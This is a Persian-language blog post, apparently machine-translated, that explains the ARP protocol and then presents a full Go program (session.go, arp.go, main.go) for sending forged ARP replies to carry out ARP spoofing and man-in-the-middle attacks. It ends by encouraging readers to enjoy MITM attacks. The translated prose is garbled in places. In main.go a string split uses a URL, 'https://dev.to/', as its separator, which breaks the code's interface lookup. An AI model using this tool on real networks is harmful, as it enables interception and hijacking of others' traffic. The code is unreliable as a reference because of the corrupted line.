برنامه نویسی

🛜 ARP Spoofing چیست؟

پست اصلی

پروتکل ARP توسط کامپیوترها به صورت روزانه یا حتی به صورت جزئی استفاده می شود. این یک پروتکل بی اهمیت است به طوری که رایانه ها از آدرس سخت افزاری که آدرس MAC نیز نامیده می شود، که به آدرس IP مرتبط است، آگاه باشند. 192.168.13.37.

این پروتکل، مانند بسیاری دیگر، مستعد آن است حملات جعل و این چیزی است که در زیر توضیح خواهم داد.

پروتکل ARP

پروتکل Address Resolution Protocol یک پروتکل ارتباطی است که برای کشف آدرس لایه پیوند، مانند یک آدرس سخت افزاری، مرتبط با یک آدرس لایه اینترنت معین، معمولاً یک آدرس IPv4 استفاده می شود. این نگاشت یک تابع حیاتی در مجموعه پروتکل اینترنت است. 1

این تعریف به طور مستقیم به اصل مطلب می‌رود، اما من می‌خواهم پروتکل ARP را به روشی گرافیکی‌تر از متن نشان دهم.

پروتکل ARP پروتکلی است که اطمینان حاصل می کند آدرس IPv4 داده شده است، مربوطه را دریافت خواهید کرد آدرس سخت افزاری از دستگاه این بسیار مهم است زیرا سخت افزار اترنت با آن ارتباط برقرار می کند آدرس های سخت افزاری و نه آدرس های IP.

سناریوی نمونه

بنابراین فرض کنید چهار جزء داریم:

  1. مشتری، موسوم به دستگاه A
  2. روتر
  3. دستگاه B با آدرس IP 192.168.13.37
  4. دستگاه C با آدرس IP 192.168.13.66

من، مشتری و دستگاه A، می خواهید داده ها را به دستگاه B، اگرچه من فقط آدرس IPv4 آن را می دانم. پس حالا که به آدرس سخت افزاری آن نیاز دارم، یک را پخش خواهم کرد درخواست ARP بسته در شبکه برای دریافت آدرس سخت افزاری دستگاه B.

این دستگاه B تشخیص می دهد که من آدرس سخت افزاری آن را بر اساس آدرس IPv4 آن درخواست می کنم، بنابراین یک را ارسال می کند پاسخ ARP بسته به من با آدرس سخت افزاری آن در داخل.

نمونه ای از سناریوی ARP معمولی

هنگامی که آدرس سخت افزار دستگاه را داشته باشم، برای استفاده در آینده در جدول ARP شخصی من ذخیره می شود. جدول ARP را می توان در ترمینال با دستورات زیر مشاهده کرد:

arp -a
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

بوییدن با Wireshark

وقتی بسته ها را فیلتر می کنید، تمام سناریوهای توصیف شده در بالا به راحتی در Wireshark قابل مشاهده هستند:

بسته های درخواستی ARP پخش شده

بسته های درخواستی ARP پخش شده

در بسته های بالا قطعاً می توانیم ببینیم که دستگاه هواوی به آدرس سخت افزاری سه آدرس IPv4 نیاز دارد.

حال اگر آدرس IPv4 در شبکه وجود داشته باشد، دستگاه مورد نظر با یک پاسخ خواهد داد پاسخ ARP بسته این را می توان در Wireshark نیز مشاهده کرد:

پاسخ ARP به دستگاه هواوی ارسال شد

پاسخ ARP به دستگاه هواوی ارسال شد

در اینجا آدرس سخت افزاری دستگاه اپل به دستگاه هواوی ارسال می شود و در جدول ARP آن برای کش ذخیره می شود.

جعل ARP

اکنون که دانش زمینی پروتکل ARP شناخته شده است، شاید جالب باشد که در نهایت بفهمیم چه چیزی جعل ARP واقعا هست

توضیح

تعریف الف حمله جعل است:

در زمینه امنیت اطلاعات و به ویژه امنیت شبکه، حمله جعل وضعیتی است که در آن شخص یا برنامه ای با جعل داده ها با موفقیت به عنوان دیگری شناسایی می شود تا مزیتی نامشروع به دست آورد. 2

بنابراین این در حال حاضر اطلاعات زیادی از چه چیزی می دهد جعل ARP واقعا هست با انجام یک حمله ARP Spoofing ما این کار را انجام خواهیم داد با جعل داده ها به عنوان دستگاه دیگری شناسایی شود. برخی از افراد ممکن است از قبل بدانند که چگونه این امر ممکن است. مدتی به تنهایی به آن فکر کنید و سپس به خواندن ادامه دهید.

اگر در مورد آن فکر کرده اید پاسخ ARP بسته، شما کاملا درست می گویید! این نسبتا ساده است. بازگشت به استفاده مشروع از سناریوی پروتکل ARP در بالا. ما به عنوان مهاجم به سادگی این کار را انجام خواهیم داد هرزنامه ها ARP بسته ها را پاسخ دهید و بگویید که ما دستگاهی هستیم که IPv4 دارد 192.168.13.37، دستگاه با IPv4 192.168.13.66و غیره و غیره در نهایت می توانیم باشیم هر دستگاه از شبکه و سایر دستگاه ها را فریب دهید تا بسته های خود را به جای دستگاه قانونی برای ما ارسال کنند. به این می گویند a مرد در وسط حمله کنند.

ارسال هرزنامه به بسته های پاسخ ARP در طول حمله ARP Spoofing

ارسال هرزنامه به بسته های پاسخ ARP در طول حمله ARP Spoofing

شایان ذکر است که در حین حمله ARP Spoofing به یک دستگاه حتی ممکن است بسته های درخواست ARP ارسال نکند، مهاجم فقط به ارسال هرزنامه ادامه می دهد.

عواقب

برخی از پیامدهای اصلی جعل ARP عبارتند از:

  1. ربودن جلسه: بسته های مربوطه برای مهاجم ارسال می شود.
  2. مرد در وسط: علت ربودن جلسه در نتیجه، بسته ها برای مهاجم ارسال می شوند.
  3. DDoS: مهاجم می تواند بسته های ARP Reply را که نشان می دهد آدرس سخت افزاری تمام آدرس های IPv4 شبکه است اسپم کند. 13:de:ad:be:ef:37 که منجر به ارسال تمام بسته ها به یک هدف می شود.

کد مثال برای جعل ARP

قبل از پایان دادن به این موضوع، ممکن است جالب باشد که ببینید چگونه خودتان یک حمله ARP Spoofing را انجام دهید و خودتان را آموزش دهید. البته ما می توانستیم ابزاری مانند اسکریپت متوسط ​​بچه را دانلود کنیم، اما این بسیار خسته کننده است…

⚠️ توجه داشته باشید که بسته به کاری که ممکن است با ARP Spoofing انجام دهید، ممکن است غیر مجاز – به شما هشدار داده شده است.

من کلاهبرداری ARP کوچک خود را در Go کدنویسی کرده‌ام زیرا عاشق این زبان هستم، اگرچه می‌توان آن را به زبان‌های دیگر، به عنوان مثال پایتون با Scapy، کدگذاری کرد.

بیا شروع کنیم!

هکرها هک خواهند کرد

هکرها هک خواهند کرد

ساختار جلسه

من ایجاد کرده ام Session ساختار در الف session.go فایل برای ذخیره اطلاعات مربوطه که بعداً استفاده خواهد شد:

package main

import (
    "github.com/google/gopacket/pcap"
    "github.com/kkrypt0nn/logger.go"
    "net"
)

// Some wacky way to get the outbound IP address ^-^
func getOutboundIP() net.IP {
      conn, err := net.Dial("udp", "8.8.8.8:80")
      if err != nil {
          panic(err)
      }
      defer conn.Close()
      return conn.LocalAddr().(*net.UDPAddr).IP
}

type Session struct {
      iface  net.Interface
      device pcap.Interface
      ip     net.IP
      mac    net.HardwareAddr
      logger *logger.Logger
}

func NewSession() *Session {
      return &Session{
          ip:     getOutboundIP(), // This will try to resolve the IP, if it's inaccurate you can hard-code it..
        logger: logger.NewLogger(),
      }
}

وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

این getOutboundIP تابع آدرس IP در حال استفاده را حل می کند، در صورت تمایل می توانید آن را سخت کد کنید.

ساخت بسته های پاسخ ARP

برای ایجاد بسته‌های ARP Reply سفارشی، ابتدا باید یک لایه اترنت ایجاد کنیم که حاوی آدرس‌های سخت‌افزار مبدا و مقصد باشد. لایه دومی که به آن نیاز داریم بدیهی است لایه ARP است، در اینجا هم آدرس IPv4 مبدا و مقصد و هم آدرس سخت افزار مقصد را ارائه می دهیم. سپس باید لایه ها را سریال کنیم تا مطمئن شویم که درست هستند، اگر درست هستند، می توانیم بافر را برگردانیم، همه اینها در arp.go فایل:

package main

import (
    "github.com/google/gopacket"
    "github.com/google/gopacket/layers"
    "net"
)

type Address struct {
    ip  net.IP
    mac net.HardwareAddr
}

func NewAddress(ip net.IP, mac net.HardwareAddr) *Address {
    return &Address{
      ip:  ip,
      mac: mac,
    }
}

func (a *Address) GetIP() net.IP {
      return a.ip
}

func (a *Address) GetMAC() net.HardwareAddr {
      return a.mac
}

var Options = gopacket.SerializeOptions{
      FixLengths:       true,
      ComputeChecksums: true,
}

func NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) {
      ethLayer := layers.Ethernet{
          SrcMAC:       src.mac,
          DstMAC:       dst.mac,
          EthernetType: layers.EthernetTypeARP,
      }
      arpLayer := layers.ARP{
          AddrType:          layers.LinkTypeEthernet,
          Protocol:          layers.EthernetTypeIPv4,
          HwAddressSize:     6,
          ProtAddressSize:   4,
          Operation:         layers.ARPReply,
          SourceHwAddress:   src.mac,
          SourceProtAddress: src.ip.To4(),
          DstHwAddress:      dst.mac,
          DstProtAddress:    dst.ip.To4(),
      }

      buffer := gopacket.NewSerializeBuffer()
      if err := gopacket.SerializeLayers(buffer, Options, &ethLayer, &arpLayer); err != nil {
          return nil, err
      }
      return buffer.Bytes(), nil
}
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

ℹ️ منبع در اینجا ما، مهاجم، با IPv4 معمولی و آدرس سخت افزاری خود هستیم. و مقصد هست وسیله ای که می خواهیم باشیم، بنابراین ما هدف گذاری شده است دستگاه با نام مستعار قربانی.

ارسال بسته ها

مرحله آخر فقط در مورد ارسال بسته های دستکاری شده در یک حلقه است. اما ابتدا باید رابط کاربری را که می خواهیم اینها را روی آن ارسال کنیم و همچنین دستگاه را بشناسیم. من چند کد کوچک اضافه کرده ام تا ابتدا با مقایسه IP خروجی با IP هر رابط روی دستگاه، رابط را پیدا کنم، پس از اینکه با رابط مورد نیاز ما مطابقت داشت.

دانستن نام دستگاهی که بسته ها را از طریق آن ارسال می کنید همان بازی است، روی همه دستگاه ها حلقه می زنیم، روی تمام آدرس های آن حلقه می زنیم IPv4 را بررسی کنید. سپس دستگاه را باز می‌کنیم و سعی می‌کنیم بسته‌های جعلی را ارسال کنیم، همه این کارها در آن انجام شده است main.go فایل:

package main

import (
      "github.com/google/gopacket/pcap"
      "net"
      "strings"
      "time"
)

// Obviously these are not accurate & fictive addresses
const (
      TargetIP  = "192.168.13.37"
      TargetMAC = "13:de:ad:be:ef:37"

      Timeout            = 5 * time.Second
      TotalPacketsToSend = 15
)

func main() {
      // Create a new session
      s := NewSession()

      // Get the interface
      ifaces, err := net.Interfaces()
      if err != nil {
          s.logger.Fatal("Failed to retrieve interfaces: " + err.Error())
          return
      }
      for _, iface := range ifaces {
          if iface.HardwareAddr == nil {
            continue
          }
          addrs, err := iface.Addrs()
          if err != nil {
              s.logger.Fatal("Failed to retrieve the addresses of the interface: " + err.Error())
          }
          for _, addr := range addrs {
              if strings.Split(addr.String(), "https://dev.to/")[0] == s.ip.String() {
                  // Set the current interface & MAC address
                  s.iface = iface
                  s.mac = iface.HardwareAddr
                  break
              }
          }
      }

      // Get the device to listen to
      devices, err := pcap.FindAllDevs()
      if err != nil {
          s.logger.Fatal("Failed to retrieve devices: " + err.Error())
          return
      }
      for _, device := range devices {
          for _, address := range device.Addresses {
              if address.IP.To4().String() == s.ip.String() {
                  s.device = device
                  break
              }
          }
      }

      // Open the device and be prepared to send the spoofed packets
      handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever)
      if err != nil {
          s.logger.Fatal("Failed to open device: " + err.Error())
          return
      }

      // Prepare the ARP reply packet
      src := NewAddress(s.ip, s.mac)
      mac, _ := net.ParseMAC(TargetMAC)
      dst := NewAddress(net.ParseIP(TargetIP), mac)
      arpReply, _ := NewARPReplyPacket(src, dst)

      s.logger.Info("Sending spoofed ARP replies to " + dst.GetIP().String() + " with MAC " + dst.GetMAC().String() + " every " + Timeout.String())

      // Send the packets
      for i := 0; i < TotalPacketsToSend; i++ {
          err = handler.WritePacketData(arpReply)
          if err != nil {
              s.logger.Error("Failed to send packet: " + err.Error())
          }
          time.Sleep(Timeout)
      }
}
وارد حالت تمام صفحه شوید

از حالت تمام صفحه خارج شوید

نتیجه

هنگام اجرای ابزار کوچک، به وضوح می‌توانیم حمله ARP Spoofing را هنگام باز کردن Wireshark مشاهده کنیم:

حمله ARP Spoofing در حال انجام است

حمله ARP Spoofing در حال انجام است

نتیجه

جعل ARP بسته به سناریو می تواند منجر به عواقب جدی شود، اگرچه پروتکل ARP استفاده قانونی نیز دارد، بنابراین نمی توانید کل پروتکل ARP را مسدود کنید. برخی از اقدامات کاهشی در برابر حملات ARP Spoofing وجود دارد که من به طور خلاصه آنها را نمی دانم، اما به راحتی می توان آنها را هنگام جستجو در گوگل به تنهایی پیدا کرد. در عین حال، از انجام برخی از حملات MITM لذت ببرید.

MITM

MITM


  1. پروتکل حل آدرس، ویکی پدیا ↩

  2. حمله جعل، ویکی پدیا ↩

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

همچنین ببینید
بستن
دکمه بازگشت به بالا